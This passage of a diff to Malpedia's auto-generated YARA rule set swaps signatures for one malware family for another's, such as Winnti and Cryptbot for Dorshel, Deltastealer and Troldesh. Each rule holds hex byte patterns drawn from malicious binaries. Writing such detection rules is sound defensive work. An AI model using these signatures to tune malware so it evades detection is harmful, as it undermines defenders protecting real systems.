"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokoyawa_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slowstepper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slowstepper_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "d0e099f2b3c7d0be14ed25c33931a83caac7b50df6157dc4628f695a1c582f8e" + logic_hash = "dd0e842f62bc92cdd486a9615b960e4b584259d9116f2837f2c07d72a5000be5" score = 75 quality = 75 tags = "FILE" @@ -96004,32 +96283,32 @@ rule MALPEDIA_Win_Nokoyawa_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88040a 8b442420 83c010 4898 8b4c2420 83c12c 4863c9 } - $sequence_1 = { e8???????? 488905???????? c744243000000000 eb0a 8b442430 ffc0 89442430 } - $sequence_2 = { 89448c30 4863442420 8b4c2420 c1e102 } - $sequence_3 = { c1e01e 8b4c2408 c1e902 0bc1 89442408 33c0 85c0 } - $sequence_4 = { 33d2 488b442430 488b4850 e8???????? } - $sequence_5 = { 8bca 8b942438010000 03d1 8bca 8d84089979825a 8b4c2410 } - $sequence_6 = { 85c0 7411 488b542468 488b4c2460 e8???????? eb0a 488b4c2460 } - $sequence_7 = { 486bc000 488b4c2440 8b542420 39540114 7326 b804000000 486bc001 } - $sequence_8 = { e8???????? 85c0 742a 4c8b8c24c8000000 4c8b8424c0000000 488b9424b8000000 } - $sequence_9 = { c644242b61 c644242c6e c644242d64 c644242e20 c644242f31 c644243036 c64424312d } + $sequence_0 = { 6a04 43 53 50 8945d4 8975e0 8975dc } + $sequence_1 = { e8???????? b001 e8???????? c3 68a4020000 b8???????? e8???????? } + $sequence_2 = { 83661000 83c414 8d45b8 c746140f000000 50 8bce c60600 } + $sequence_3 = { c645fc4c e8???????? 57 c645fc4b 56 8d8dcceeffff e8???????? } + $sequence_4 = { 85c0 746b 395c241c 765e 53 ff742420 8d8c2474050000 } + $sequence_5 = { 59 85c0 7507 c605????????01 68???????? 8d9564ebffff 8bce } + $sequence_6 = { 57 8d4db8 e9???????? 6a48 b8???????? e8???????? 8b4508 } + $sequence_7 = { 8b8d70faffff 8d85ecfaffff 50 8d85ecfeffff 50 e8???????? 59 } + $sequence_8 = { ff6008 55 8bec 8b4904 8b01 5d ff600c } + $sequence_9 = { 6bc00c 8d8405b8feffff 8d8da8feffff 3bc1 7422 8b08 8b95a8feffff } condition: - 7 of them and filesize < 92160 + 7 of them and filesize < 909312 } -rule MALPEDIA_Win_Unidentified_071_Auto : FILE +rule MALPEDIA_Win_Dorshel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cfbea96e-4359-5ae7-941b-244ed79d12c2" + id = "550d8628-f52a-56de-91a7-ece0c38b96fb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_071_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorshel_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2aec891397e4f33ea521c1dfdd2bf39deb44b46ee917346f946ae37d0a5d367f" + logic_hash = "364203df24c6a83e17731caab6caa244bb9a531055fdc65fef6d763de8c4fb40" score = 75 quality = 75 tags = "FILE" @@ -96043,32 +96322,32 @@ rule MALPEDIA_Win_Unidentified_071_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837c241002 740b 837c241003 7504 6a0b } - $sequence_1 = { a1???????? 0d00020000 a3???????? e8???????? } - $sequence_2 = { 56 55 e8???????? 8d4701 89742420 } - $sequence_3 = { c1e902 57 33ff 3b550c 0f47c8 85c9 7413 } - $sequence_4 = { 53 56 57 e8???????? 83c418 eb10 83f802 } - $sequence_5 = { 3bf3 7408 53 8bce e8???????? 83ed10 83eb10 } - $sequence_6 = { 0faf05???????? 53 56 8b35???????? } - $sequence_7 = { 8bec 8b550c 8b4d10 8b4214 2b4210 394110 7615 } - $sequence_8 = { c21000 e8???????? cc 8b442408 56 8b742408 } - $sequence_9 = { a3???????? a1???????? 83e040 59 a3???????? } + $sequence_0 = { 55 8bec 83ec0c 31c0 648b5030 8b520c 8b5214 } + $sequence_1 = { 8d7708 8b3f 33fb f3a4 5f } + $sequence_2 = { 03f8 84c0 75f6 81ff5e515e83 7408 81ff36cadb30 75da } + $sequence_3 = { 83c004 e2f9 58 54 50 } + $sequence_4 = { 51 8b0f 33cb 51 ff55f8 8b5df4 } + $sequence_5 = { 54 50 8b4f04 33cb 51 8b0f } + $sequence_6 = { ffd5 85c0 74cd 8b07 01c3 } + $sequence_7 = { ac c1cf0d 03f8 84c0 75f6 81ff5e515e83 7408 } + $sequence_8 = { 57 6800200000 53 56 68129689e2 ffd5 85c0 } + $sequence_9 = { 5f 8b4704 33c3 83c104 99 } condition: - 7 of them and filesize < 1220608 + 7 of them and filesize < 24576 } -rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE +rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "36dfbc1b-2a7c-5015-aa84-898c9ae8a989" + id = "ef77dd44-0b56-55a7-bd80-bb8aedf02909" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_ransom_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bka_trojaner_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "0a185fa4c8cc02cde8300ce206abe6802953ff20e929d9c3889dfecd7dc1e60f" + logic_hash = "f15473c37bfc124735dc99ab7490e1138bd0e34fbe32e10f0ddc7571161a090f" score = 75 quality = 75 tags = "FILE" @@ -96082,34 +96361,34 @@ rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837f1410 7240 8b4714 8b0f 40 3d00100000 722a } - $sequence_1 = { 50 e8???????? 83ec18 c645fc13 8bcc c741140f000000 c7411000000000 } - $sequence_2 = { f20f591c8580e94200 f20f592c8580e94200 03c0 660f58348590ed4200 660f5625???????? f20f58f0 } - $sequence_3 = { 6bc930 f6451402 8b0485e0774300 c644082900 } - $sequence_4 = { c64405e800 40 83f804 7cef 33f6 0f1f440000 8a4435e8 } - $sequence_5 = { c645fc14 8d4dd8 e8???????? 83c404 68???????? 8bd0 } - $sequence_6 = { 8b7508 8bce 68b8020000 68???????? c745fc00000000 } - $sequence_7 = { e8???????? 83c404 c645fc12 8b45ec c745d40f000000 c745d000000000 c645c000 } - $sequence_8 = { 43 837e1410 7204 8b06 eb02 } - $sequence_9 = { 83f81d 7cf1 eb07 8b0cc544be4200 894de4 } + $sequence_0 = { 8365d800 c745dce7384000 a1???????? 8945e0 } + $sequence_1 = { 50 56 e8???????? 83c408 8b54241c 55 } + $sequence_2 = { 83ec4c 56 8b742454 6808020000 68???????? } + $sequence_3 = { ff15???????? 8b542414 56 52 ff15???????? 8b4570 } + $sequence_4 = { 0fb6442404 8a4c240c 8488e1eb4000 751e 837c240800 7410 } + $sequence_5 = { 5e c3 56 8b742408 8b06 813863736de0 751c } + $sequence_6 = { ff7508 83c008 e8???????? 3b4514 59 752d 837df800 } + $sequence_7 = { 50 8db6b4e14000 ff36 e8???????? } + $sequence_8 = { 83ff01 751a 8b442414 8b08 8b542408 51 } + $sequence_9 = { 7508 8b4508 a3???????? 5b 33c0 5f } condition: - 7 of them and filesize < 516096 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Winnti_Auto : FILE +rule MALPEDIA_Win_Nimgrabber_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1351f8e3-6ca5-5a13-9678-9210d9ddffd2" + id = "89bd52a7-663e-548b-aa96-3fbc1c4d91ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winnti_auto.yar#L1-L242" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimgrabber_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "09cc054785791e781076cf9631fef38d07059412817f6de2934895bd3887e46e" + logic_hash = "d088108be342ea9771cd179dc72ead263968b1a4b5039d9c99155df864322e6b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -96121,48 +96400,34 @@ rule MALPEDIA_Win_Winnti_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 56 ff15???????? 85c0 7e79 8d4c2418 8d942484000000 } - $sequence_1 = { 8dbc24c4000000 8d942410010000 f3ab 668b8424740b0000 bf???????? 66898424d2050000 83c9ff } - $sequence_2 = { 8b734c 03f8 8bc1 c1e902 f3a5 8bc8 } - $sequence_3 = { f3ab 8b8c2498010000 c644242004 51 c644242501 ff15???????? } - $sequence_4 = { ffd7 68???????? 68???????? 89460c } - $sequence_5 = { 85c0 751a 8bcb 8d142e 2bce 51 } - $sequence_6 = { e8???????? 8b4c2418 50 6800040000 } - $sequence_7 = { 8bfa 83c9ff f2ae 8b54242c } - $sequence_8 = { 0f849a000000 4c8d5b2e 660f1f440000 410fb70b 458bca } - $sequence_9 = { 8b4b1c 4803cf 8b0491 4803c7 488b5c2410 } - $sequence_10 = { 4585d2 759d 488b7db7 458bd9 44894d97 } - $sequence_11 = { 4053 4883ec40 48c74424580a000000 488b442458 4c8d442458 } - $sequence_12 = { 4863c9 e8???????? 488bd8 4c8d443710 4983781810 7203 4d8b00 } - $sequence_13 = { 75f1 408830 488d542450 4038742450 } - $sequence_14 = { 90 488bd0 488d4b28 e8???????? 90 48837dd710 7209 } - $sequence_15 = { 4863d9 4c8be3 49c1fc05 4c8d355a4f0a00 83e31f 486bdb58 } - $sequence_16 = { 48c784248800000000000000 488d942488000000 488d4c2428 e8???????? 488d05e7700100 4889442428 488d1553d80100 } - $sequence_17 = { 7517 488d0513ac0a00 488b4c2430 483bc8 7406 e8???????? 90 } - $sequence_18 = { 7511 33c0 4881c4e0000000 415f 415e } - $sequence_19 = { 4889742430 488b442440 48894310 48894b18 48897c2448 } - $sequence_20 = { 741e 837d6001 7511 488d5568 ff15???????? 488b8d00010000 ff15???????? } - $sequence_21 = { 48897c2478 488b8c2400010000 4885c9 741f 4183fe01 7513 } - $sequence_22 = { 8bd8 85c0 7848 488b8c24b0000000 } - $sequence_23 = { 488d0527eb0a00 eb04 4883c010 4883c428 c3 4883ec28 e8???????? } + $sequence_0 = { 89e8 e8???????? 8b4310 8d68f8 85c0 0f8469feffff 8b4500 } + $sequence_1 = { 8b4514 89442414 83fa0f 7f5a 8b5d04 8b4500 85db } + $sequence_2 = { 89f8 25ff010000 0fb78446e4030000 6685c0 0f85a0090000 89f8 89fa } + $sequence_3 = { 8b442420 8b00 39c6 0f8256feffff 83e801 893424 89442404 } + $sequence_4 = { 8b44243c 8b4c2460 8d5c0808 0fb64708 3c2a 0f849b0b0000 0f87f7000000 } + $sequence_5 = { 8d56f8 83e808 8946f8 83f807 0f861a020000 8b4304 85c0 } + $sequence_6 = { 83ff01 0f8492000000 8b11 8d6ffe 39d5 7211 83ea01 } + $sequence_7 = { 037304 8b5208 0fb6f8 89f1 897c2440 83c42c 5b } + $sequence_8 = { e8???????? c1e807 83f001 83e001 e9???????? 837c24687f 0f8ea80b0000 } + $sequence_9 = { 037c2440 0f49c7 83c208 89542414 89c5 89c8 25ffffff3f } condition: - 7 of them and filesize < 1581056 + 7 of them and filesize < 1238016 } -rule MALPEDIA_Win_Cryptbot_Auto : FILE +rule MALPEDIA_Win_Dyepack_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c80588a6-d143-5e79-9f26-778ded8c5ced" + id = "07deca3f-25ed-51d0-81b9-2a80bfd3fbb4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptbot_auto.yar#L1-L256" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyepack_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "a7dadf34e757866bd3311ff7a46036d085711fdb75a64818e7cbce0bd5b48b23" + logic_hash = "c761a43cdd5c317a044dbb40e0c85464d14b22fce932fc8ee9b2120e24aa5b64" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -96174,52 +96439,32 @@ rule MALPEDIA_Win_Cryptbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 85ed 0f94c0 8be8 } - $sequence_1 = { 760f b990ec0000 e8???????? e9???????? } - $sequence_2 = { e9???????? b949dc0000 e9???????? b944dc0000 e9???????? b964dc0000 } - $sequence_3 = { 7f0a 83fd1e 7f05 83ff13 } - $sequence_4 = { eb0c b99fed0000 e8???????? 8907 } - $sequence_5 = { 33c0 eb0a b917d90000 e8???????? } - $sequence_6 = { 7511 b9d7d80000 e8???????? 8907 } - $sequence_7 = { 750f b955960100 e8???????? e9???????? } - $sequence_8 = { 7414 3c7a 7508 8b4610 803874 7408 41 } - $sequence_9 = { 83caff 8bcf e8???????? 83caff } - $sequence_10 = { 7419 8b542408 83fa01 7c10 0fbf4846 } - $sequence_11 = { 744e 0fb74802 83e103 3bcb } - $sequence_12 = { 7508 85f6 7404 c6464101 5e c3 } - $sequence_13 = { 1ac9 2403 80e110 8ad1 3c02 7509 } - $sequence_14 = { 7505 89410c 8bc1 ffb42484000000 } - $sequence_15 = { 85c0 742c 8bd6 8bcb } - $sequence_16 = { e8???????? 8b5720 8bce e8???????? 8b5724 } - $sequence_17 = { 8b4d34 894c245c dd85b8fbffff dd5c2454 } - $sequence_18 = { 014710 83571400 83c301 8bbe4c010000 8355fc00 } - $sequence_19 = { 8b4d18 8901 895104 e9???????? } - $sequence_20 = { 015e58 8bd7 8b4e60 83565c00 } - $sequence_21 = { 015f28 8bc2 13472c 89472c } - $sequence_22 = { 8b4d14 898d38ffffff 8b8580000000 898534ffffff } - $sequence_23 = { 8b4d20 894c2468 8b4d5c 894c2464 } - $sequence_24 = { 8b4d18 8b09 81c1fc030000 8b448808 } - $sequence_25 = { 014e10 134614 837de000 894614 } - $sequence_26 = { 8b4d24 894c247c dd85b0fbffff dd5c2474 } - $sequence_27 = { 8b4d28 898d30ffffff 8b958c000000 89952cffffff } - $sequence_28 = { 018330af0100 8b45d8 85c0 7416 } - $sequence_29 = { 8b4d18 8b09 83c101 81c1fc030000 } + $sequence_0 = { eb04 8b4c2410 2bcd 1bc7 7815 } + $sequence_1 = { b814100000 e8???????? 53 56 57 33db b9ff030000 } + $sequence_2 = { 3bcb 765a eb04 8b4c2410 2bcd } + $sequence_3 = { 56 ff15???????? 8d442410 895c2410 50 56 } + $sequence_4 = { ff15???????? 56 ff15???????? 8d442410 895c2410 } + $sequence_5 = { 53 51 e8???????? 83c408 5d 5f } + $sequence_6 = { 53 aa 8b842434100000 53 6800000040 50 ff15???????? } + $sequence_7 = { 13fb 3bf8 7cb2 7f08 8b4c2410 3be9 } + $sequence_8 = { 53 56 ffd7 8b442414 8b4c2410 33ed 33ff } + $sequence_9 = { 7815 7f08 81f900100000 760b b900100000 895c2420 } condition: - 7 of them and filesize < 17138688 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Mebromi_Auto : FILE +rule MALPEDIA_Win_Troldesh_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3d64e85a-906f-5ddb-9f75-04eb426f7ebc" + id = "71dc6e06-8dd4-5865-ab10-09f20ee5e07a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mebromi_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troldesh_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "051f5b8119e90ef14be758def00ef62b697ce727969ed9523ac57414d0773faf" + logic_hash = "54ddaca68ab9115d35e14f6b78269f4735d8b277965f7a8b9f90608c52763a8d" score = 75 quality = 75 tags = "FILE" @@ -96233,32 +96478,32 @@ rule MALPEDIA_Win_Mebromi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f eb26 8d4508 8db694702900 6a00 } - $sequence_1 = { b82c2900d8 2c29 0000 2d29008a46 0323 } - $sequence_2 = { 8bec 8b4508 ff348520712900 ff15???????? } - $sequence_3 = { eb0f 0fb6d2 f68201a0290004 7403 } - $sequence_4 = { 56 ffd7 3bdd 5b } - $sequence_5 = { 68000000c0 68???????? ff15???????? 8b3d???????? 83f8ff a3???????? 7544 } - $sequence_6 = { 58 c20c00 ff05???????? 833d????????01 55 56 57 } - $sequence_7 = { 68???????? ff742410 ff15???????? 8bf0 85f6 7416 57 } - $sequence_8 = { 8888009f2900 eb1f 83f861 7213 83f87a } - $sequence_9 = { ff742410 ff15???????? 8bf0 85f6 7416 57 56 } + $sequence_0 = { ffd5 85c0 755e 6a08 8d442478 50 8d44244c } + $sequence_1 = { e8???????? 56 57 8bf3 b8ff0f0000 c1ee0c 8bfb } + $sequence_2 = { ff75fc 50 e8???????? 83c40c 85c0 741a 8b4610 } + $sequence_3 = { e8???????? 8b3e 53 e8???????? c7839400000001000000 8b36 8b462c } + $sequence_4 = { e8???????? e9???????? 83f807 0f85d4000000 8bf5 e8???????? 8bf0 } + $sequence_5 = { e8???????? 8b4f04 51 89442418 895c241c e8???????? 83c404 } + $sequence_6 = { e8???????? ff750c ff7508 e8???????? 83c418 eb6d e8???????? } + $sequence_7 = { e8???????? 8b8c249c000000 83c40c 50 57 68???????? 53 } + $sequence_8 = { ff75f8 8b7070 e8???????? 8945f8 59 85c0 0f8562ffffff } + $sequence_9 = { e9???????? 3975f4 740b 53 e8???????? 59 85c0 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 3915776 } -rule MALPEDIA_Win_Buhtrap_Auto : FILE +rule MALPEDIA_Win_Grimagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "05b4ba66-68ba-54c1-8d1c-18fdeb619511" + id = "71af2f17-8403-52ad-833c-4f34c39aa4f9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buhtrap_auto.yar#L1-L156" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimagent_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "eac17ec81dd5c0445bcaac0e052f572182cee6f02fda0d2839f8933537f248ba" + logic_hash = "2bd16393ddc9027f65320f9d7195e30024d5bd5433e4f4effa16eae0aefd4e45" score = 75 quality = 75 tags = "FILE" @@ -96272,37 +96517,32 @@ rule MALPEDIA_Win_Buhtrap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 59 59 84c0 0f8435010000 } - $sequence_1 = { ff5010 837df000 0f84e7000000 85c0 0f85c9000000 } - $sequence_2 = { 8d442454 50 53 6a0a 5a e8???????? 50 } - $sequence_3 = { 53 ffd6 8bd8 2b5dfc 895dec } - $sequence_4 = { 66895dec 8bf3 8afb 8bc6 8a9c35ecfeffff } - $sequence_5 = { 8d4df0 51 8d4df8 51 6a01 6aff 52 } - $sequence_6 = { 57 ffd6 57 8945fc ffd6 59 59 } - $sequence_7 = { ba0a010000 b9???????? e8???????? 83ec0c be???????? } - $sequence_8 = { ff75f4 ff15???????? 8b45e8 5e } - $sequence_9 = { 8d742414 c744241401234567 c744241889abcdef c744241cfedcba98 } - $sequence_10 = { 8945fc 8a040a 8801 41 } - $sequence_11 = { c645ff00 897df8 3bdf 0f84ad010000 8b4634 } - $sequence_12 = { 807d1000 50 ff7508 740c } - $sequence_13 = { 8b4508 c7403401000000 8b45f8 3bc6 } - $sequence_14 = { 765c 837c241000 7655 51 e8???????? 59 } + $sequence_0 = { 83ec18 c745f400000000 c745f800000000 c745e800000000 8b4508 8945f0 } + $sequence_1 = { 8b4d0c 51 e8???????? 83c404 3945f8 7328 8b55ec } + $sequence_2 = { 85c0 7420 8b4d08 51 8d95f4feffff 52 e8???????? } + $sequence_3 = { 83c404 3945f8 750e c745e801000000 b801000000 eb1a 8b4df0 } + $sequence_4 = { 0f8394000000 8b4df0 0fb711 8b45fc } + $sequence_5 = { 8b45ec 83c002 8945ec 8b4dfc 83c102 894dfc eb02 } + $sequence_6 = { 85c0 7420 8b4d08 51 8d95f4feffff } + $sequence_7 = { 83c404 3945f8 750e c745e801000000 } + $sequence_8 = { 8b4508 0fbe08 85c9 7426 } + $sequence_9 = { 8b4508 8945f0 8b4d0c 894dfc c745f400000000 eb09 8b55f4 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 582656 } -rule MALPEDIA_Win_Unidentified_098_Auto : FILE +rule MALPEDIA_Win_Disk_Knight_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cee1322b-e182-5772-a21f-5cf6e6750059" + id = "2e5932a4-2261-529e-8603-e7381cbcd593" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_098_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disk_knight_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e8d2888b0e7d3535c791d7aba0e1785261ca562eca0e4741087a888aec2763e8" + logic_hash = "94d53be36645294fa895fc3e62b424a992d83f6ddb436852c2ddc8dd29bf34d2" score = 75 quality = 75 tags = "FILE" @@ -96316,32 +96556,32 @@ rule MALPEDIA_Win_Unidentified_098_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c89f1 e8???????? b901000000 4989c5 e8???????? 4989c4 0fb644244f } - $sequence_1 = { e9???????? 498b0424 8954244c 4c89e1 4488442440 ff5048 8b54244c } - $sequence_2 = { 488945b0 488b45c8 0fb64038 3c01 7423 84c0 0f849e000000 } - $sequence_3 = { 48397c2448 0f83b5000000 488b4310 488b5318 c644244401 4839d0 } - $sequence_4 = { 7426 662e0f1f840000000000 498b4c2408 4885c9 7446 4983c420 e8???????? } - $sequence_5 = { 4c89f7 31c0 f3aa b903000000 c744244c04010000 4989f0 4c89f2 } - $sequence_6 = { 4e8d0441 4c894220 4e8d0c49 4c894a30 41b900000080 4c39c8 7c1b } - $sequence_7 = { c744243c00000000 89442420 e8???????? b804000000 4d8d442410 488b542448 488b4c2440 } - $sequence_8 = { 3c20 7407 88842f39010000 488b8ba0000000 e8???????? 4885c0 0f84a6020000 } - $sequence_9 = { e8???????? 418b442414 83f80a 7580 0f1f00 49ff442430 49c744242800000000 } + $sequence_0 = { 52 8b45c8 50 ff15???????? 8945ac eb07 c745ac00000000 } + $sequence_1 = { 8bd0 8d4dd4 ffd6 50 68???????? ffd7 8d4d8c } + $sequence_2 = { ff15???????? 8bd0 8d4da0 ffd6 8d45a4 50 ff15???????? } + $sequence_3 = { c7458001000080 33d2 8d4db0 ff15???????? ba???????? 8d4db4 ff15???????? } + $sequence_4 = { 8b16 8d8578ffffff 50 56 ff92b8070000 3bc7 7d0e } + $sequence_5 = { 8975c8 8d4db0 ff15???????? 8b4dc8 33ff 3bcf 741c } + $sequence_6 = { 83bdc4feffff00 7d23 6a58 68???????? 8b8dc8feffff 51 8b95c4feffff } + $sequence_7 = { 8d55dc 51 52 897d80 c78578ffffff00000000 89bd70ffffff ff15???????? } + $sequence_8 = { 6880000000 ff15???????? 83c41c 8b4dc8 51 8d9544ffffff 52 } + $sequence_9 = { c785bcfeffff01000000 8b4d0c 833900 7455 8b550c 8b02 66833801 } condition: - 7 of them and filesize < 3345408 + 7 of them and filesize < 868352 } -rule MALPEDIA_Win_Hikit_Auto : FILE +rule MALPEDIA_Win_Deltastealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cf2c2140-f351-5d9d-a962-449d1b05d24a" + id = "4fccefcb-7a2e-57a6-ab41-b89b24454179" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hikit_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltastealer_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d51c1ae21b05f4f7340fe9215a9d683066cb3055762a66620984bf5bd09e28e0" + logic_hash = "8e1fc56421c67233761e9d4924d596056974746fe89cb951900a859521620234" score = 75 quality = 75 tags = "FILE" @@ -96355,32 +96595,32 @@ rule MALPEDIA_Win_Hikit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b442408 39442418 0f84e8000000 c744240401000000 8b442408 89442428 8b442428 } - $sequence_1 = { 48 c784245001000000000000 48 c744244000000000 48 c784244801000000000000 48 } - $sequence_2 = { 68???????? 6a24 8b45f8 83c004 50 e8???????? 83c424 } - $sequence_3 = { 52 8d8c2498120000 51 33c9 03c0 8d510c } - $sequence_4 = { 7408 81f90c000140 7506 8988e0000000 ff7514 ff7510 51 } - $sequence_5 = { 0f8427020000 8d8758080000 50 ff15???????? f6460d04 7546 8b4608 } - $sequence_6 = { 48 03c1 48 89442440 48 8b842488010000 0fb600 } - $sequence_7 = { 85c0 0f8e84000000 48 8b442428 0fb7501a 48 8b4c2428 } - $sequence_8 = { 7e0c 48 8b442450 c6803201000000 48 8b442450 0fb68031010000 } - $sequence_9 = { 48 8b442420 8b5028 48 c1ea0c 48 8b442420 } + $sequence_0 = { eb5d 31ff eb18 48314618 4889f1 e8???????? 488b4638 } + $sequence_1 = { 4d89d7 40b601 83ff01 0f8583000000 4181fcff000000 0f873c050000 4885db } + $sequence_2 = { e8???????? 8a5860 4889f9 e8???????? 448a7060 4889f9 e8???????? } + $sequence_3 = { c3 4d89c8 e8???????? 0f0b 4157 4156 4155 } + $sequence_4 = { e8???????? 4889f9 89ea e8???????? 41c60707 4883c438 5b } + $sequence_5 = { 498b4e28 498b5630 41c60709 41c7471802000000 e8???????? 90 4883c438 } + $sequence_6 = { eb18 488b4e40 4883c118 e8???????? e8???????? 488906 895608 } + $sequence_7 = { e8???????? 0f0b ba08000000 4889f0 4883c420 5b 5f } + $sequence_8 = { e8???????? 4829fe 4c89f1 4889f2 4883c428 5b 5f } + $sequence_9 = { 8b90cc000000 895108 83a0c400000000 e8???????? c70701000000 894704 } condition: - 7 of them and filesize < 573440 + 7 of them and filesize < 3532800 } -rule MALPEDIA_Win_Nachocheese_Auto : FILE +rule MALPEDIA_Elf_Satori_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0d1d5a3a-67ce-5c34-82de-43ee9a1b9d3b" + id = "2284f03a-322c-58c3-b1d9-fcae207127e0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nachocheese_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.satori_auto.yar#L1-L123" license_url = "N/A" - logic_hash 